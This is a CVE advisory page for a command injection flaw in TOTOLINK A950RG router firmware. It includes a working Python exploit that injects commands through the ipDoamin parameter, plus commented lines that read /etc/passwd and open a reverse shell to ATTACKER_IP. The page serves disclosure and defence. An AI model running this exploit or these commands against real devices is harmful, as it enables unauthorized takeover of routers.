Security Vulnerability Report
中文
CVE-2025-60702 CVSS 6.5 MEDIUM

CVE-2025-60702

Published: 2025-11-13 20:15:53
Last Modified: 2025-11-18 01:49:22

Description

A command injection vulnerability exists in the TOTOLINK A950RG Router firmware V5.9c.4592_B20191022_ALL within the `system.so` binary. The `setDiagnosisCfg` function retrieves the `ipDoamin` parameter from user input via `websGetVar` and concatenates it directly into a `ping` system command executed via `CsteSystem()` without any sanitization. An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the device through specially crafted HTTP requests to the router's web interface.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:totolink:a950rg_firmware:5.9c.4592_b20191022:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:a950rg:-:*:*:*:*:*:*:* - NOT VULNERABLE
TOTOLINK A950RG固件 V5.9c.4592_B20191022_ALL

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-60702 PoC - TOTOLINK A950RG Command Injection # Target: TOTOLINK A950RG Router Firmware V5.9c.4592_B20191022_ALL # Vulnerability: Command Injection in setDiagnosisCfg function via ipDoamin parameter target_ip = "192.168.0.1" # Router IP address target_port = 80 def exploit_command_injection(target, command): """ Execute arbitrary command on vulnerable TOTOLINK A950RG router """ # Construct the malicious ipDoamin parameter with command injection # Using semicolon to chain commands payload = ";" + command url = f"http://{target}/cgi-bin/cstecgi.cgi" # The vulnerable endpoint and parameter data = { "topicurl": "setDiagnosisCfg", "ipDoamin": payload } try: response = requests.post(url, data=data, timeout=5) print(f"[*] Sent payload: {payload}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Example: List directory contents exploit_command_injection(target_ip, "ls -la /") # Example: Read /etc/passwd # exploit_command_injection(target_ip, "cat /etc/passwd") # Example: Start a reverse shell # payload = ";bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1" # exploit_command_injection(target_ip, "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60702", "sourceIdentifier": "[email protected]", "published": "2025-11-13T20:15:52.923", "lastModified": "2025-11-18T01:49:21.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in the TOTOLINK A950RG Router firmware V5.9c.4592_B20191022_ALL within the `system.so` binary. The `setDiagnosisCfg` function retrieves the `ipDoamin` parameter from user input via `websGetVar` and concatenates it directly into a `ping` system command executed via `CsteSystem()` without any sanitization. An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the device through specially crafted HTTP requests to the router's web interface."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a950rg_firmware:5.9c.4592_b20191022:*:*:*:*:*:*:*", "matchCriteriaId": "70C0D0B7-21D0-4369-866E-0D0C3B9DE481"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a950rg:-:*:*:*:*:*:*:*", "matchCriteriaId": "2F20C691-11F3-4882-89C7-500C097C0938"}]}]}], "references": [{"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-A950RG/1.md", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-A950RG/CVE-2025-60702.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}